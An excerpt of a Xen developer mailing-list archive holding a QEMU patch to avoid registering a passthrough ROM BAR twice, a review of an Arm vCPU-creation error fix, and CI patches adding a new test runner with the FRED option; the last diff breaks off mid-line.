 Thu, 09 Jul 2026 18:35:22 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783622124; bh=fhRf3JXRumlxIz5yKMV8dJMfO0BC+czU20wlGumg1eI=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=OgKTMquDMTrsCsgbyr/lZI9CMmP6cr5kFKT9rQjoMcklC6WPWeNuTV5aGyYigIiTy2C4nWvUcMLvFEgZ0et27x6Lhu3jm95uu28s3u24NUZwTEnS0HI9aw0OhfJLYKhgjlUjNFq6Rs/Jh6YswYcTUfX3ub0SWG9K36XryuLNlIbvRs712Md2CNTTXo7tes/tJYZqL5vsPSFGJijpo4WlcYurjLtdukA8hfkyG02VdFwJODewNv9XSa3Yn1gV91NenXafsZwvDILdGpqF7hd4VzD/NAza0jA/r+fjLonc4M3AiM4UgKWn+EhfoVzuMW9AfegPNAp3apYDhnH3sYnRdQ==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783622124; bh=Fxl9JSWtFg22iJgekLWhHRW+keyQqc/ymx0xSqxvrtY=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=ALfQMvQdY2ivsfq4jOPVmKRw9mj9jCEyUYG2XMLjL5A9RMQzWaIrgew3zzIJk5oAbDZMsFfK5X0P2AtFLv57s6/Cnwn+pOn+lV+BjyK4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ePqVb_zIOM0zUwaqcF7gVubGyiK_wlGgXdbSlrUnPAUVFD_zhELWPQgdTk
 4h7KvkUZoaCXMe5tQgsKhEpXnAGgL.t_bq47wkHGglcvI2bKyVzoiE6gQNDmYKL_XLr_bowz3lSf
 o8Y8FGKAtBdOur.jJkCPKPZAGspiJtLbKg1.T9eItPkiUrOK7p.MqRCIRykYU68pED.UMzuBxY1G
 zSBawtqcaBTsZXLpkkKKpEmzFDrdmM_mVeZtRDEoc_6kaFMVVPTXyQGvgqSYkLtOAb9xCnGTkIcq
 _08Zb8bcwFpdUf_9ozREQxpKFErCE_bZ4lCGeYmUu_DPTeqJk6FqUoqW8gyvoNY379mtSqZWCK0X
 qgkAW8M5n8Qpvs_ILk553K_6CeJSRwjmJzH2OJEH0IPXZZ_0X2G5ugPYkm0jm03fU8ppsqxUxCcm
 PDQnsHjwIsgdKt__6TzOmJFn_6PltgZM50WAqEHHJ
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: ff122649-501c-4d3c-8192-01dd0a2a047a
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org,
	xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH v3 2/3] xen/igd: don't register rom bar twice
Date: Thu,  9 Jul 2026 14:35:15 -0400
Message-ID: <20260709183517.25866-3-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709183517.25866-1-brchuckz@aol.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Length: 1440
X-purgate-ID: tlsNG-4011c0/1783622126-3F168248-DA5E1F8D/0/0
X-purgate-type: clean
X-purgate-size: 1484

This also fixes a failed assertion in pci [1] for Qemu
version 10 and higher when passing through an Intel
IGD with an option ROM to the guest.

[1] f6fc01c ("hw/pci: Assert a bar is not registered multiple times")

Fixes: 881213f ("xen, gfx passthrough: retrieve VGA BIOS to work")
Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
Changes in v2:
  - get 'pcibus_t romsize' instead of 'PCIIORegion region'
  - move definition of romsize to the top of the function
    and make it constant
  - add stable to Cc list

Changes in v3:
  - fix Cc address for qemu-stable

 hw/xen/xen_pt.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
index 474606e..8b30b61 100644
--- a/hw/xen/xen_pt.c
+++ b/hw/xen/xen_pt.c
@@ -459,6 +459,7 @@ static int xen_pt_register_regions(XenPCIPassthroughState *s, uint16_t *cmd)
 {
     int i = 0;
     XenHostPCIDevice *d = &s->real_device;
+    const pcibus_t romsize = s->dev.io_regions[PCI_ROM_SLOT].size;
 
     /* Register PIO/MMIO BARs */
     for (i = 0; i < PCI_ROM_SLOT; i++) {
@@ -495,7 +496,7 @@ static int xen_pt_register_regions(XenPCIPassthroughState *s, uint16_t *cmd)
     }
 
     /* Register expansion ROM address */
-    if (d->rom.base_addr && d->rom.size) {
+    if (!romsize && d->rom.base_addr && d->rom.size) {
         uint32_t bar_data = 0;
 
         /* Re-set BAR reported by OS, otherwise ROM can't be read. */
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 18:57:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 18:57:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358504.1612590 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtw9-00089f-61; Thu, 09 Jul 2026 18:57:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358504.1612590; Thu, 09 Jul 2026 18:57:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whtw9-00089Y-1u; Thu, 09 Jul 2026 18:57:29 +0000
Received: by outflank-mailman (input) for mailman id 1358504;
 Thu, 09 Jul 2026 18:57:27 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <sstabellini@kernel.org>) id 1whtw7-00089S-Oh
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 18:57:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whtw6-0047LG-KH
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 20:57:26 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <sstabellini@kernel.org>)
 id 6a4fef09-5cb7-0a2a0a5109dd-0a2a4509ea7c-12
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:57:26 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <sstabellini@kernel.org>)
 id 6a4fef15-b440-0a2a45090019-ac6904fee87a-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 20:57:26 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id C7E1F6137D;
 Thu,  9 Jul 2026 18:57:24 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id EADEB1F000E9;
 Thu,  9 Jul 2026 18:57:23 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:cc:Subject:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783623444;
	bh=8Qwe9Eb1EWMzqFxlc434ecVMDaK8l7iRxYDzMndfC5E=;
	h=Date:From:To:cc:Subject:In-Reply-To:References;
	b=flVtDyBtbhd5T6+87FCiik0HiOoDbs1JfbuB+NANhQ2vTEeesN4upqVDIOpWiOMVH
	 T4obYiKUosRb9bml5sFMsRmVKi+qFCInAUD8OHhLkvNgDZZMbGmYnHAJfZ30P8Kn/0
	 PFMIaZJdL1Bmhwm7rRGoFZo01X1+1lyNZ9/1ujByiXZrCPlx3ZmoBQ+FEKI8HTtLYS
	 WUuLNCL+djM9kz3/yMD0FKL1/3md/pRu/1wrBPlNA5ego75WppSBD9M3zg1Nrcqs5B
	 GPdgYh12syFRidEApoOgiiFX+v9oTEY2AKv+op01jAwn+XB1xQkFea3JFtV/59FOmB
	 GMSoi+1uTVmdw==
Date: Thu, 9 Jul 2026 11:57:20 -0700 (PDT)
From: Stefano Stabellini <sstabellini@kernel.org>
X-X-Sender: sstabellini@ubuntu-linux-20-04-desktop
To: "Halder, Ayan Kumar" <ayankuma@amd.com>
cc: Michal Orzel <michal.orzel@amd.com>, xen-devel@lists.xenproject.org, 
    Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, 
    Bertrand Marquis <bertrand.marquis@arm.com>, 
    Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>, ayan.kumar.halder@amd.com, 
    Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [for-4.22][PATCH v2] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
In-Reply-To: <aab9fd35-6230-474c-8848-480c8cccc43c@amd.com>
Message-ID: <alpine.DEB.2.22.394.2607091157100.565858@ubuntu-linux-20-04-desktop>
References: <20260709063643.11800-1-michal.orzel@amd.com> <aab9fd35-6230-474c-8848-480c8cccc43c@amd.com>
User-Agent: Alpine 2.22 (DEB 394 2020-01-19)
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-purgate-ID: tlsNG-bad1c0/1783623446-64369A0B-CF7C005C/0/0
X-purgate-type: clean
X-purgate-size: 2098

On Thu, 9 Jul 2026, Halder, Ayan Kumar wrote:
> On 09/07/2026 07:36, Michal Orzel wrote:
> > construct_domain() creates the secondary vCPUs in a loop, but on a
> > vcpu_create() failure it only prints a message and breaks out of the
> > loop returning success. As a result the domain can be partially
> > constructed with fewer vCPUs than d->max_vcpus. This causes two contract
> > violations:
> >   - Xen-Guest: domain's FDT is generated before vCPU creation - Xen exposes
> >     incorrect information (e.g. two vCPUs listed in a device tree while only
> >     one is actually created),
> >   - User-Xen: unlike x86, on Arm port we try to bail out as soon as
> >     possible on unsatisfied user requests (e.g. user requested two vCPUs
> >     for a domain but it was created with only one).
> 
> Unrelated, but just to add my 2 cents wearing a safety hat.
> 
> The user-xen contract comes from a system integrator. Xen should try to follow
> the contract and if not panic or bail out.
> 
> The Xen-guest contract can be used to enforce the rule that guest should read
> the contract before doing any safety critical task.
> 
> The most important thing is anything errors that are internal to Xen, should
> be propagated to the external world (either as panic or return an error to the
> guest or abort the guest). If there is a degradation is functionality (eg Xen
> creating a guest with lesser number of vCPUS that what the system integrator
> provided), then this is safety issue unless we put an assumption on guest to
> read its device tree and know the final configuration (which may not be always
> ok).
> 
> > 
> > Return an error instead of breaking out of the loop. Both callers
> > (construct_domU() and construct_hwdom()) already propagate a negative
> > return value and fail domain construction.
> > 
> > Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
> > Signed-off-by: Michal Orzel <michal.orzel@amd.com>
> Reviewed-by: Ayan Kumar Halder <ayan.kumar.halder@amd.com>

Acked-by: Stefano Stabellini <sstabellini@kernel.org>


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 19:58:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 19:58:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358533.1612599 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whusk-0007EV-C1; Thu, 09 Jul 2026 19:58:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358533.1612599; Thu, 09 Jul 2026 19:58:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whusk-0007EK-87; Thu, 09 Jul 2026 19:58:02 +0000
Received: by outflank-mailman (input) for mailman id 1358533;
 Thu, 09 Jul 2026 19:58:00 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1whusi-0007E3-94
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 19:58:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whush-003wER-6S
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 21:57:59 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a4ffce1-bab6-0a2a0a5309dd-0a2a450b9c58-48
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 21:57:59 +0200
Received: from [103.168.172.154] (helo=fhigh-a3-smtp.messagingengine.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a4ffd45-b7da-0a2a450b0019-67a8ac9ab7ab-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 21:57:58 +0200
Received: from phl-compute-05.internal (phl-compute-05.internal [10.202.2.45])
 by mailfhigh.phl.internal (Postfix) with ESMTP id AD45614000CF;
 Thu,  9 Jul 2026 15:57:57 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
 by phl-compute-05.internal (MEProxy); Thu, 09 Jul 2026 15:57:57 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Thu,
 9 Jul 2026 15:57:56 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:Feedback-ID:From:Message-ID:MIME-Version:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-transfer-encoding
	:content-type:content-type:date:date:from:from:in-reply-to
	:message-id:mime-version:reply-to:subject:subject:to:to; s=fm2;
	 t=1783627077; x=1783713477; bh=EarCEyvX9vi3viPPe/HLi3xofwqUarDW
	AeZtIfvZI5w=; b=fHCtcn7dFhV310acO/V8GIod/1vcPA0yJRh7ULCDXKaabTt8
	rNLtauLqXDJBl/9E2ktVwJZPOUYsnF/iJNSfdB98Q5gwYLcPFOYcGGCW5zuYI2nh
	ptSCWpqzpN7H6v70ud7qmKaRpumoLAmarf86Lh2lnidid+GwqwJVmjtK3h5Nutfm
	QFA/VooFu6pfKCloSXwuEfzXawCpGaZB2WQh07DQaTjE3ufAswteonmlaLuGJYdC
	Wk9a/vbeMTKnGYQw8EmdHeQbD110t67UlX6blulRSMQOkEl07/8jp0enHGMtRwEO
	tBTzJE5i6na+z7QozRYQE11EmCee/tJT0L1hew==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-transfer-encoding
	:content-type:content-type:date:date:feedback-id:feedback-id
	:from:from:in-reply-to:message-id:mime-version:reply-to:subject
	:subject:to:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=
	fm2; t=1783627077; x=1783713477; bh=EarCEyvX9vi3viPPe/HLi3xofwqU
	arDWAeZtIfvZI5w=; b=qHomPqqVfsKZttyhePjwyOsB+ylSwC+2zpLt1Nf6ssXw
	Q8Q/wUgPu8KulBVJ/5lC9PrNgW7Pq5aNQoH9FgpHUiD3wiU+w+NMYARAjXCk0Sgd
	+1PMjOgahXIvumEZvbo44/9XaWhOfh2hVr5S7oAkthPj3qIF4lIz68aV2xly9CPu
	00BZXz8Fef9xyyJRacXimOOyaEayD3iQVumK9zANV8KLMSxeouuxcKYGExuDPq6+
	d8WvNRk1xdbTtTVp347dhqdPbb4aHFBc2+Ucxyum0jaGZ4M5nalvPYuUWq3+8BMP
	jYAmz8lxCihOi2tZO6ij3LOMOz51bxtku/dg81/I3g==
X-ME-Sender: <xms:Rf1Pat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ezqqlEy8WScUvLSi7IsIbPbQ>
    <xmx:Rf1PauBW_gKHJDfaBF-L8-hNN2MET_pZHpuqCgzPZN6DR-mmI0vaNw>
    <xmx:Rf1Paj-Lbm0vQKDljgac7gATXHNuQJNX6yoomAsHr_Wsbdab1TBipQ>
    <xmx:Rf1PalH3KnGw-G_X9Csc8roCgcpaDCF5KgISiRC08xTND7z1LgI_Lw>
    <xmx:Rf1PalKMc_rftVkfgR7hskwx9nwypHwB-CN9_2RTRaOQIKk8qXPcN20N>
Feedback-ID: i1568416f:Fastmail
From: =?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: [PATCH 0/2] CI: new PTL runner
Date: Thu,  9 Jul 2026 21:57:03 +0200
Message-ID: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1783627079-A11D69ED-5C20ECCA/0/0
X-purgate-type: clean
X-purgate-size: 900

It's a NUC 16 Pro, with Intel Core Ultra 5 325.

As mentioned on the last community call - the hardware is bought by the Xen
Project, and then hosted together with qubes runners.

Xen itself works pretty well here (except suspend, to be investigated later). I
tried also Qubes installer, and there is some issue between Xorg and the
xe display driver (screen remains blank when Xorg starts). Likely an
issue on the Linux side. Also to be investigated later.

Pipeline:
https://gitlab.com/xen-project/people/marmarek/xen/-/pipelines/2662549936

Marek Marczykowski-GÃ³recki (2):
  CI: add PTL runner
  CI: enable FRED on PTL runner

 automation/gitlab-ci/test.yaml     | 82 +++++++++++++++++++++++++++++++-
 automation/scripts/qubes-x86_64.sh |  4 +-
 2 files changed, 84 insertions(+), 2 deletions(-)

base-commit: ccde3773c1762d32fb5f6037d6b22780c30895d3
-- 
git-series 0.9.1


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 19:58:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 19:58:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358535.1612609 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whusk-0007QO-Uo; Thu, 09 Jul 2026 19:58:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358535.1612609; Thu, 09 Jul 2026 19:58:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whusk-0007PT-QJ; Thu, 09 Jul 2026 19:58:02 +0000
Received: by outflank-mailman (input) for mailman id 1358535;
 Thu, 09 Jul 2026 19:58:02 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1whusk-0007EF-3J
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 19:58:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whusj-004lcy-GG
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 21:58:01 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a4ffd47-2eae-0a2a0a5409dd-0a2a450ba542-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 21:58:01 +0200
Received: from [103.168.172.147] (helo=fout-a4-smtp.messagingengine.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a4ffd48-b7da-0a2a450b0019-67a8ac939447-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 21:58:01 +0200
Received: from phl-compute-05.internal (phl-compute-05.internal [10.202.2.45])
 by mailfout.phl.internal (Postfix) with ESMTP id 5CCEBEC011D;
 Thu,  9 Jul 2026 15:58:00 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
 by phl-compute-05.internal (MEProxy); Thu, 09 Jul 2026 15:58:00 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Thu,
 9 Jul 2026 15:57:59 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-transfer-encoding
	:content-type:content-type:date:date:from:from:in-reply-to
	:in-reply-to:message-id:mime-version:references:reply-to:subject
	:subject:to:to; s=fm2; t=1783627080; x=1783713480; bh=6ACDJBO64g
	9UWeMz958s7JKcp/lJyrXxlQd2KMDhZ/I=; b=f4QU7T4NQ4p8pYyQuaifodxls9
	GLJP3YR54mUszRWns79dh9QZ++oTNCQdv6wHNx9vHZYr1rl4WYWO36GHEXxFuHbR
	AfeHm1jn+Ga55hUc+lPZSJ0YswX5MxrG6k82+OZwxAVgBRhA3b0XvzeUG6Omd+Ag
	vDMOXkd/4qqeSHJiHiGFTZTQNsx4iX4JlTYtlygG0g2l92dirs7abKpQ39oiSQle
	OuHnAml+/cGkBMd7nEa7tMsYrkINjmjAOmMVUpJU6oN7MJV032SpYWyfOO2zcMBf
	GLlqyQrLg4WFo30/XOnV0jTiAj3h2wLCqdp3UfDjn114+k8at2d8be2wAk8w==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-transfer-encoding
	:content-type:content-type:date:date:feedback-id:feedback-id
	:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to:x-me-proxy
	:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=1783627080; x=
	1783713480; bh=6ACDJBO64g9UWeMz958s7JKcp/lJyrXxlQd2KMDhZ/I=; b=N
	DDsSuU1M6hEWOCVoRXin4XSZhb8m0G07zFtTlXwhdZNndjKZT43hjUbwr+YwK9Tb
	HZ0TJ7Xa0j3sOGoKGm/AndrOwFfgxB4twHHwh21JAcsOCBweFL1yhTMJv+PzAUL4
	n1Z+QFmP2oVpqfMth7VP1dunSieRR8IEdeUrOH94PLDUatJHZrFwb6LhB355IqIa
	jBIv4e3UA5LxFWQE8nHDUl58m+SuMFPh98kB7l+eZC18KCj2ut2pjBcIyFUiJFDp
	+/UtDQcFmbefc6jinVhUoJdNQIVwCn9d+fVC7JtrPeynY8pAVpjqd9iHE9lKI4tp
	eYv38BXU1Uz2z43JTP1og==
X-ME-Sender: <xms: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Kv4H0SBNNgeooZh091rMGaFg>
    <xmx:SP1PajwpMw4ESHyU-fowsriurN2GIJuAljltVyEumhK4Iwcgl3MqOQ>
    <xmx:SP1PakPQIBI2rCz2AqnxX7weNaPuXyCuMIocHpoWLe7nKWirpyAJUg>
    <xmx:SP1Pao4mEqE5yESpwCzNxDEI_H7AeeO3uszRpdTSBnce5ETyWpk2wA>
    <xmx:SP1PancPQFwkWtA1ltN7cgWBsn3VKAghrrh39Ar6KXEUkdcvoOSygCi6>
Feedback-ID: i1568416f:Fastmail
From: =?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Doug Goldstein <cardoe@cardoe.com>
Subject: [PATCH 2/2] CI: enable FRED on PTL runner
Date: Thu,  9 Jul 2026 21:57:05 +0200
Message-ID: <6f41b87651f282ac118c17b1562251f7d74c9496.1783626895.git-series.marmarek@invisiblethingslab.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
References: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1783627081-4A9699ED-6468D952/0/0
X-purgate-type: clean
X-purgate-size: 2049

Add new job-level EXTRA_XEN_OPTS variable, in addition to CONSOLE_OPTS.
For now, add "fred" to all jobs running on PTL, but separate variable
allows customizing it later on per-job basis.

Signed-off-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
 automation/gitlab-ci/test.yaml     | 1 +
 automation/scripts/qubes-x86_64.sh | 4 ++--
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/automation/gitlab-ci/test.yaml b/automation/gitlab-ci/test.yaml
index 7cc52146304e..61adc1baff30 100644
--- a/automation/gitlab-ci/test.yaml
+++ b/automation/gitlab-ci/test.yaml
@@ -177,6 +177,7 @@
     PCIDEV: "56:00.0"
     PCIDEV_INTR: "MSI-X"
     CONSOLE_OPTS: "console=com1 com1=115200,8n1"
+    EXTRA_XEN_OPTS: "fred"
     SUT_ADDR: test-22.testnet
   tags:
     - qubes-hw22
diff --git a/automation/scripts/qubes-x86_64.sh b/automation/scripts/qubes-x86_64.sh
index 7a59fa5f1116..065f03931bea 100755
--- a/automation/scripts/qubes-x86_64.sh
+++ b/automation/scripts/qubes-x86_64.sh
@@ -260,14 +260,14 @@ TFTP=/scratch/gitlab-runner/tftp
 CONTROLLER=control@thor.testnet
 
 echo "
-multiboot2 (http)/gitlab-ci/xen $CONSOLE_OPTS loglvl=all guest_loglvl=all dom0_mem=4G console_timestamps=boot watchdog $extra_xen_opts
